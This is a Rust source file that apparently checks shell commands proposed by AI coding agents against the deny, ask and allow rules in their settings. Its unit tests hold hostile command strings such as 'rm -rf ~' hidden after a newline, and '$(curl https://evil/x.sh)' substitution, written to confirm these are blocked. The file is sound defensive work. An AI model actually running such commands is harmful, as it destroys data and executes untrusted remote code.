use super::constants::{CLAUDE_DIR, CURSOR_DIR, GEMINI_DIR, SETTINGS_JSON, SETTINGS_LOCAL_JSON};
use crate::core::stream::exec_capture;
use crate::discover::lexer::split_for_permissions;
use serde_json::Value;
use std::path::PathBuf;
#[derive(Debug, PartialEq, Eq, Clone)]
pub enum PermissionVerdict {
Allow,
Deny,
Ask,
Default,
}
pub fn check_command(cmd: &str) -> PermissionVerdict {
check_command_for(cmd, Host::Claude)
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Host {
Claude,
Cursor,
Gemini,
}
pub fn check_command_for(cmd: &str, host: Host) -> PermissionVerdict {
let (deny_rules, ask_rules, allow_rules) = match host {
Host::Claude => load_permission_rules(),
Host::Cursor => load_cursor_rules(),
Host::Gemini => load_gemini_rules(),
};
check_command_with_rules(cmd, &deny_rules, &ask_rules, &allow_rules)
}
pub(crate) fn check_command_with_rules(
cmd: &str,
deny_rules: &[String],
ask_rules: &[String],
allow_rules: &[String],
) -> PermissionVerdict {
let segments = split_compound_command(cmd);
for segment in &segments {
let segment = segment.trim();
for pattern in deny_rules {
if command_matches_pattern(segment, pattern) {
return PermissionVerdict::Deny;
}
}
}
if crate::discover::lexer::contains_unattestable_construct(cmd) {
return PermissionVerdict::Ask;
}
let mut any_ask = false;
let mut all_segments_allowed = true;
let mut saw_segment = false;
for segment in &segments {
let segment = segment.trim();
if segment.is_empty() {
continue;
}
saw_segment = true;
if !any_ask {
for pattern in ask_rules {
if command_matches_pattern(segment, pattern) {
any_ask = true;
break;
}
}
}
if all_segments_allowed {
let matched = allow_rules
.iter()
.any(|pattern| command_matches_pattern(segment, pattern));
if !matched {
all_segments_allowed = false;
}
}
}
if any_ask {
PermissionVerdict::Ask
} else if saw_segment && all_segments_allowed && !allow_rules.is_empty() {
PermissionVerdict::Allow
} else {
PermissionVerdict::Default
}
}
fn load_permission_rules() -> (Vec<String>, Vec<String>, Vec<String>) {
let mut deny_rules = Vec::new();
let mut ask_rules = Vec::new();
let mut allow_rules = Vec::new();
for path in get_settings_paths() {
let Ok(content) = std::fs::read_to_string(&path) else {
continue;
};
let Ok(json) = serde_json::from_str::<Value>(&content) else {
eprintln!(
"[rtk] warning: failed to parse permissions from {}",
path.display()
);
continue;
};
let Some(permissions) = json.get("permissions") else {
continue;
};
append_bash_rules(permissions.get("deny"), &mut deny_rules);
append_bash_rules(permissions.get("ask"), &mut ask_rules);
append_bash_rules(permissions.get("allow"), &mut allow_rules);
}
(deny_rules, ask_rules, allow_rules)
}
fn append_bash_rules(rules_value: Option<&Value>, target: &mut Vec<String>) {
let Some(arr) = rules_value.and_then(|v| v.as_array()) else {
return;
};
for rule in arr {
if let Some(s) = rule.as_str() {
if s.starts_with("Bash(") {
target.push(extract_bash_pattern(s).to_string());
}
}
}
}
fn get_settings_paths() -> Vec<PathBuf> {
let mut paths = Vec::new();
if let Some(root) = find_project_root() {
paths.push(root.join(CLAUDE_DIR).join(SETTINGS_JSON));
paths.push(root.join(CLAUDE_DIR).join(SETTINGS_LOCAL_JSON));
}
if let Some(home) = dirs::home_dir() {
paths.push(home.join(CLAUDE_DIR).join(SETTINGS_JSON));
paths.push(home.join(CLAUDE_DIR).join(SETTINGS_LOCAL_JSON));
}
paths
}
fn read_json(path: &std::path::Path) -> Option<Value> {
let content = std::fs::read_to_string(path).ok()?;
match serde_json::from_str::<Value>(&content) {
Ok(v) => Some(v),
Err(_) => {
eprintln!(
"[rtk] warning: failed to parse permissions from {}",
path.display()
);
None
}
}
}
fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: &mut Vec<String>) {
let Some(arr) = rules_value.and_then(|v| v.as_array()) else {
return;
};
for rule in arr.iter().filter_map(|r| r.as_str()) {
for pre in prefixes {
let bare = &pre[..pre.len() - 1];
if rule == bare {
target.push("*".to_string());
break;
}
if let Some(inner) = rule.strip_prefix(pre).and_then(|s| s.strip_suffix(')')) {
target.push(inner.to_string());
break;
}
}
}
}
fn global_config(dir: &str, file: &str) -> Option<Value> {
read_json(&dirs::home_dir()?.join(dir).join(file))
}
fn load_cursor_rules() -> (Vec<String>, Vec<String>, Vec<String>) {
let mut deny = Vec::new();
let mut allow = Vec::new();
if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json")
.as_ref()
.and_then(|j| j.get("permissions"))
{
append_wrapped_rules(perms.get("deny"), &["Shell("], &mut deny);
append_wrapped_rules(perms.get("allow"), &["Shell("], &mut allow);
}
(deny, Vec::new(), allow)
}
fn gemini_settings() -> Option<Value> {
let global = global_config(GEMINI_DIR, SETTINGS_JSON);
let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true")
|| !global
.as_ref()
.and_then(|j| {
j.pointer("/security/folderTrust/enabled")
.and_then(Value::as_bool)
})
.unwrap_or(false);
if trusted {
if let Some(root) = find_project_root() {
if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) {
return Some(v);
}
}
}
global
}
fn load_gemini_rules() -> (Vec<String>, Vec<String>, Vec<String>) {
let mut ask = Vec::new();
let mut allow = Vec::new();
let shells = ["run_shell_command(", "ShellTool("];
if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) {
append_wrapped_rules(tools.get("allowed"), &shells, &mut allow);
append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask);
}
(Vec::new(), ask, allow)
}
fn find_project_root() -> Option<PathBuf> {
let mut dir = std::env::current_dir().ok()?;
loop {
if dir.join(CLAUDE_DIR).exists() {
return Some(dir);
}
if !dir.pop() {
break;
}
}
let mut cmd = std::process::Command::new("git");
cmd.args(["rev-parse", "--show-toplevel"]);
let result = exec_capture(&mut cmd).ok()?;
if result.success() {
return Some(PathBuf::from(result.stdout.trim()));
}
None
}
pub(crate) fn extract_bash_pattern(rule: &str) -> &str {
if let Some(inner) = rule.strip_prefix("Bash(") {
if let Some(pattern) = inner.strip_suffix(')') {
return pattern;
}
}
rule
}
pub(crate) fn command_matches_pattern(cmd: &str, pattern: &str) -> bool {
if pattern == "*" {
return true;
}
if let Some(p) = pattern.strip_suffix('*') {
let prefix = p.trim_end_matches(':').trim_end();
if prefix.is_empty() || prefix == "*" {
return true;
}
if !prefix.contains('*') {
return cmd == prefix || cmd.starts_with(&format!("{} ", prefix));
}
}
if pattern.contains('*') {
return glob_matches(cmd, pattern);
}
cmd == pattern || cmd.starts_with(&format!("{} ", pattern))
}
fn glob_matches(cmd: &str, pattern: &str) -> bool {
let normalized = pattern.replace(":*", " *").replace("*:", "* ");
let parts: Vec<&str> = normalized.split('*').collect();
if parts.iter().all(|p| p.is_empty()) {
return true;
}
let mut search_from = 0;
for (i, part) in parts.iter().enumerate() {
if part.is_empty() {
continue;
}
if i == 0 {
if !cmd.starts_with(part) {
return false;
}
search_from = part.len();
} else if i == parts.len() - 1 {
if !cmd[search_from..].ends_with(*part) {
return false;
}
} else {
let remaining = &cmd[search_from..];
if let Some(pos) = remaining.find(*part) {
search_from += pos + part.len();
} else {
let trimmed = part.trim_end();
if !trimmed.is_empty() && remaining.ends_with(trimmed) {
search_from += remaining.len();
} else {
return false;
}
}
}
}
true
}
fn split_compound_command(cmd: &str) -> Vec<&str> {
split_for_permissions(cmd)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_bash_pattern() {
assert_eq!(
extract_bash_pattern("Bash(git push --force)"),
"git push --force"
);
assert_eq!(extract_bash_pattern("Bash(*)"), "*");
assert_eq!(extract_bash_pattern("Bash(sudo:*)"), "sudo:*");
assert_eq!(extract_bash_pattern("Read(**/.env*)"), "Read(**/.env*)"); }
#[test]
fn test_exact_match() {
assert!(command_matches_pattern(
"git push --force",
"git push --force"
));
}
#[test]
fn test_wildcard_colon() {
assert!(command_matches_pattern("sudo rm -rf /", "sudo:*"));
}
#[test]
fn test_no_match() {
assert!(!command_matches_pattern("git status", "git push --force"));
}
#[test]
fn test_deny_precedence_over_ask() {
let deny = vec!["git push --force".to_string()];
let ask = vec!["git push --force".to_string()];
assert_eq!(
check_command_with_rules("git push --force", &deny, &ask, &[]),
PermissionVerdict::Deny
);
}
#[test]
fn test_non_bash_rules_ignored() {
assert_eq!(extract_bash_pattern("Read(**/.env*)"), "Read(**/.env*)");
assert_eq!(
check_command_with_rules("cat .env", &[], &[], &[]),
PermissionVerdict::Default
);
}
#[test]
fn test_empty_permissions() {
assert_eq!(
check_command_with_rules("git push --force", &[], &[], &[]),
PermissionVerdict::Default
);
}
#[test]
fn test_prefix_match() {
assert!(command_matches_pattern(
"git push --force origin main",
"git push --force"
));
}
#[test]
fn test_wildcard_all() {
assert!(command_matches_pattern("anything at all", "*"));
assert!(command_matches_pattern("", "*"));
}
#[test]
fn test_no_partial_word_match() {
assert!(!command_matches_pattern(
"git push --forceful",
"git push --force"
));
}
#[test]
fn test_compound_command_deny() {
let deny = vec!["git push --force".to_string()];
assert_eq!(
check_command_with_rules("git status && git push --force", &deny, &[], &[]),
PermissionVerdict::Deny
);
}
#[test]
fn test_compound_command_ask() {
let ask = vec!["git push".to_string()];
assert_eq!(
check_command_with_rules("git status && git push origin main", &[], &ask, &[]),
PermissionVerdict::Ask
);
}
#[test]
fn test_compound_command_deny_overrides_ask() {
let deny = vec!["git push --force".to_string()];
let ask = vec!["git status".to_string()];
assert_eq!(
check_command_with_rules("git status && git push --force", &deny, &ask, &[]),
PermissionVerdict::Deny
);
}
#[test]
fn test_quoted_operators_not_split() {
let deny = vec!["git push --force".to_string()];
assert_eq!(
check_command_with_rules(r#"echo "git push --force && danger""#, &deny, &[], &[]),
PermissionVerdict::Default
);
}
#[test]
fn test_pipe_segments_checked() {
let deny = vec!["rm -rf".to_string()];
assert_eq!(
check_command_with_rules("cat file | rm -rf /", &deny, &[], &[]),
PermissionVerdict::Deny
);
}
#[test]
fn test_ask_verdict() {
let ask = vec!["git push".to_string()];
assert_eq!(
check_command_with_rules("git push origin main", &[], &ask, &[]),
PermissionVerdict::Ask
);
}
#[test]
fn test_sudo_wildcard_no_false_positive() {
assert!(!command_matches_pattern("sudoedit /etc/hosts", "sudo:*"));
}
#[test]
fn test_star_colon_star_matches_everything() {
assert!(command_matches_pattern("rm -rf /", "*:*"));
assert!(command_matches_pattern("git push --force", "*:*"));
assert!(command_matches_pattern("anything", "*:*"));
}
#[test]
fn test_leading_wildcard() {
assert!(command_matches_pattern("git push --force", "* --force"));
assert!(command_matches_pattern("npm run --force", "* --force"));
}
#[test]
fn test_leading_wildcard_no_partial() {
assert!(!command_matches_pattern("git push --forceful", "* --force"));
assert!(!command_matches_pattern("git push", "* --force"));
}
#[test]
fn test_middle_wildcard() {
assert!(command_matches_pattern("git push main", "git * main"));
assert!(command_matches_pattern("git rebase main", "git * main"));
}
#[test]
fn test_middle_wildcard_no_match() {
assert!(!command_matches_pattern("git push develop", "git * main"));
}
#[test]
fn test_middle_wildcard_at_end_of_command() {
assert!(command_matches_pattern(
"git -C /path diff",
"git -C * diff:*"
));
assert!(command_matches_pattern(
"git -C /path diff --stat",
"git -C * diff:*"
));
assert!(!command_matches_pattern(
"git -C /path status",
"git -C * diff:*"
));
}
#[test]
fn test_multiple_wildcards() {
assert!(command_matches_pattern(
"git push --force origin main",
"git * --force *"
));
assert!(!command_matches_pattern(
"git pull origin main",
"git * --force *"
));
}
#[test]
fn test_deny_with_leading_wildcard() {
let deny = vec!["* --force".to_string()];
assert_eq!(
check_command_with_rules("git push --force", &deny, &[], &[]),
PermissionVerdict::Deny
);
assert_eq!(
check_command_with_rules("git push", &deny, &[], &[]),
PermissionVerdict::Default
);
}
#[test]
fn test_deny_star_colon_star() {
let deny = vec!["*:*".to_string()];
assert_eq!(
check_command_with_rules("rm -rf /", &deny, &[], &[]),
PermissionVerdict::Deny
);
}
#[test]
fn test_explicit_allow_rule() {
let allow = vec!["git status".to_string()];
assert_eq!(
check_command_with_rules("git status", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_allow_wildcard() {
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git log --oneline", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_deny_overrides_allow() {
let deny = vec!["git push --force".to_string()];
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git push --force", &deny, &[], &allow),
PermissionVerdict::Deny
);
}
#[test]
fn test_ask_overrides_allow() {
let ask = vec!["git push".to_string()];
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git push origin main", &[], &ask, &allow),
PermissionVerdict::Ask
);
}
#[test]
fn test_no_rules_returns_default() {
assert_eq!(
check_command_with_rules("cargo test", &[], &[], &[]),
PermissionVerdict::Default
);
}
#[test]
fn test_default_not_allow_when_unmatched() {
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("cargo build", &[], &[], &allow),
PermissionVerdict::Default
);
}
#[test]
fn test_compound_allow_requires_every_segment() {
let allow = vec![
"git status *".to_string(),
"git status".to_string(),
"cargo *".to_string(),
];
assert_eq!(
check_command_with_rules("git status", &[], &[], &allow),
PermissionVerdict::Allow
);
assert_eq!(
check_command_with_rules("git add .", &[], &[], &allow),
PermissionVerdict::Default
);
assert_eq!(
check_command_with_rules("git status && git add .", &[], &[], &allow),
PermissionVerdict::Default,
"allowed segment must not escalate unallowed segment"
);
assert_eq!(
check_command_with_rules(
"cargo test && git add . && git commit -m foo",
&[],
&[],
&allow,
),
PermissionVerdict::Default,
"middle unallowed segment must demote the whole chain"
);
assert_eq!(
check_command_with_rules("git add . && git status", &[], &[], &allow),
PermissionVerdict::Default,
"unallowed first segment must demote the chain"
);
}
#[test]
fn test_compound_allow_all_segments_matched() {
let allow = vec!["git *".to_string(), "cargo *".to_string()];
assert_eq!(
check_command_with_rules("git status && cargo test", &[], &[], &allow),
PermissionVerdict::Allow
);
assert_eq!(
check_command_with_rules(
"git log --oneline && cargo build && git status",
&[],
&[],
&allow
),
PermissionVerdict::Allow
);
}
#[test]
fn test_compound_allow_semicolon_separator() {
let allow = vec!["git status".to_string()];
assert_eq!(
check_command_with_rules("git status; git push", &[], &[], &allow),
PermissionVerdict::Default
);
}
#[test]
fn test_compound_allow_pipe_separator() {
let allow = vec!["git log".to_string()];
assert_eq!(
check_command_with_rules("git log | grep foo", &[], &[], &allow),
PermissionVerdict::Default
);
}
#[test]
fn test_compound_allow_or_separator() {
let allow = vec!["cargo build".to_string()];
assert_eq!(
check_command_with_rules("cargo build || cargo clean", &[], &[], &allow),
PermissionVerdict::Default
);
}
#[test]
fn test_compound_ask_still_wins_over_partial_allow() {
let ask = vec!["git push".to_string()];
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git status && git push origin main", &[], &ask, &allow),
PermissionVerdict::Ask
);
}
#[test]
fn test_newline_hidden_command_denied() {
let deny = vec!["rm:*".to_string()];
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git status\nrm -rf ~", &deny, &[], &allow),
PermissionVerdict::Deny
);
}
#[test]
fn test_newline_hidden_command_not_auto_allowed() {
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git status\nrm -rf ~", &[], &[], &allow),
PermissionVerdict::Default
);
}
#[test]
fn test_background_hidden_command_denied() {
let deny = vec!["rm:*".to_string()];
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git status & rm -rf ~", &deny, &[], &allow),
PermissionVerdict::Deny
);
}
#[test]
fn test_substitution_never_auto_allowed() {
let allow = vec!["git *".to_string()];
for cmd in [
"git log --pretty=$(rm -rf ~)",
"git status `whoami`",
"git diff $(curl https://evil/x.sh)",
] {
assert_eq!(
check_command_with_rules(cmd, &[], &[], &allow),
PermissionVerdict::Ask,
"{cmd} must not auto-allow"
);
}
}
#[test]
fn test_double_quoted_substitution_never_auto_allowed() {
let allow = vec!["git *".to_string()];
for cmd in [
r#"git log --pretty="$(rm -rf ~)""#,
r#"git log --pretty="`rm -rf ~`""#,
] {
assert_ne!(
check_command_with_rules(cmd, &[], &[], &allow),
PermissionVerdict::Allow,
"{cmd} must not auto-allow"
);
}
}
#[test]
fn test_single_quoted_substitution_is_literal() {
let allow = vec!["echo *".to_string()];
assert_eq!(
check_command_with_rules("echo '$(rm -rf ~)'", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_file_redirect_never_auto_allowed() {
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow),
PermissionVerdict::Ask
);
}
#[test]
fn test_legitimate_multiline_allow() {
let allow = vec!["git *".to_string(), "cargo *".to_string()];
assert_eq!(
check_command_with_rules("git status\ncargo build", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_legitimate_subshell_allow() {
let allow = vec!["git *".to_string(), "cargo *".to_string()];
assert_eq!(
check_command_with_rules("(git status; cargo build)", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_legitimate_background_allow() {
let allow = vec!["cargo *".to_string()];
assert_eq!(
check_command_with_rules("cargo build &", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_fd_dup_redirect_stays_allow() {
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git status 2>&1", &[], &[], &allow),
PermissionVerdict::Allow
);
assert_eq!(
check_command_with_rules("git log 2>/dev/null", &[], &[], &allow),
PermissionVerdict::Allow
);
}
#[test]
fn test_deny_not_evaded_by_trailing_fd_dup() {
let deny = vec!["git push --force".to_string()];
let allow = vec!["git *".to_string()];
assert_eq!(
check_command_with_rules("git push --force 2>&1", &deny, &[], &allow),
PermissionVerdict::Deny
);
}
#[test]
fn test_wrapped_rules_cursor_shell_only() {
let v = serde_json::json!([
"Shell(git)",
"Shell(curl:*)",
"Read(src/**)",
"Shell(npm test)"
]);
let mut out = Vec::new();
append_wrapped_rules(Some(&v), &["Shell("], &mut out);
assert_eq!(out, vec!["git", "curl:*", "npm test"]);
}
#[test]
fn test_wrapped_rules_gemini_shell_variants() {
let v = serde_json::json!([
"run_shell_command(git)",
"ShellTool(npm test)",
"read_file",
"run_shell_command"
]);
let mut out = Vec::new();
append_wrapped_rules(Some(&v), &["run_shell_command(", "ShellTool("], &mut out);
assert_eq!(out, vec!["git", "npm test", "*"]);
}
#[test]
fn test_wrapped_rules_extracted_patterns_match() {
let mut allow = Vec::new();
append_wrapped_rules(
Some(&serde_json::json!(["Shell(git)"])),
&["Shell("],
&mut allow,
);
assert_eq!(
check_command_with_rules("git status", &[], &[], &allow),
PermissionVerdict::Allow
);
assert_eq!(
check_command_with_rules("rm -rf /", &[], &[], &allow),
PermissionVerdict::Default
);
}
}